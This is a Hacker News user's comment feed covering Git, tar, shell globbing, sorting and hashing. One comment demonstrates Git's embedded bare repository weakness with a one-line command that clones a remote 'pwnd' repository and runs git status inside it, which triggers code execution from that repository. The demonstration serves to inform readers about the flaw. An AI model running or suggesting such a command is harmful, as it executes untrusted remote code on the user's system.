Hacker News: tomlx

New comment by tomlx in "I don't know how I feel about email"

tomlx — Sun, 16 Jul 2023 14:10:04 +0000

was about to say that ...

> Tags: satire email

New comment by tomlx in "Git-landmine – Create local malicious Git repo"

tomlx — Sun, 02 Jul 2023 14:45:12 +0000

none that i know of

The risks of embedded bare repositories in Git (2022)

tomlx — Sun, 02 Jul 2023 13:23:10 +0000

Article URL: https://lwn.net/Articles/892755/

Comments URL: https://news.ycombinator.com/item?id=36561264

Points: 9

# Comments: 0

New comment by tomlx in "Git-landmine – Create local malicious Git repo"

tomlx — Sun, 02 Jul 2023 12:44:35 +0000

git does not clone hooks, but if a subdirectory of a repo has the structure of a bare repo it can hijack git subcommands for code execution. try:

  git clone https://git.0x90.space/vmann/pwnd && cd pwnd/whoot && git status

it is a bit crazy this is not disabled by default yet.

New comment by tomlx in "Should you use Let's Encrypt for internal hostnames?"

tomlx — Thu, 06 Jan 2022 02:40:43 +0000

I never got why people think using tar is hard. Specify your archive File with f. want to eXtract it? add a x. want to Create it? add a c. Want it to be Verbose while doing that? add a v. if it's gZiped add a z. Granted, j for bzip2, t for listing is less obvious, but with that it's about everything you need for everyday usage and that more than suffices to disarm that bomb.

New comment by tomlx in "Unix Admin Horror Story Summary (1992)"

tomlx — Wed, 22 Dec 2021 05:23:52 +0000

Interestingly

  $ bash -c 'cd /var/empty; echo .*'
  . ..

but

  $ ksh -c 'cd /var/empty; echo .*'
  .*

Seems some ksh dev got bitten and restricted this ...

New comment by tomlx in "Pattern-defeating quicksort"

tomlx — Fri, 30 Jun 2017 14:41:32 +0000

This is beautiful. I will try to implement this once i'm at home ...

New comment by tomlx in "How Hash Algorithms Work (2007)"

tomlx — Fri, 13 Jan 2017 14:12:09 +0000

Title is missleading. From the title I expected something about how to design a hash algorithm, but the article is just a walk through the specific operations SHA-1 performs w/o further explanation.

Can anyone recommand resources about the actual design of (cryptographic) hash algorithms?

New comment by tomlx in "Let’s Stop Bashing C"

tomlx — Fri, 02 Dec 2016 18:04:35 +0000

Compiles fine with -Wall -Werror. No warnings.

New comment by tomlx in "Show HN: LockedAway – A unique text experience"

tomlx — Wed, 17 Aug 2016 10:14:37 +0000

Nice read. I liked it ... :)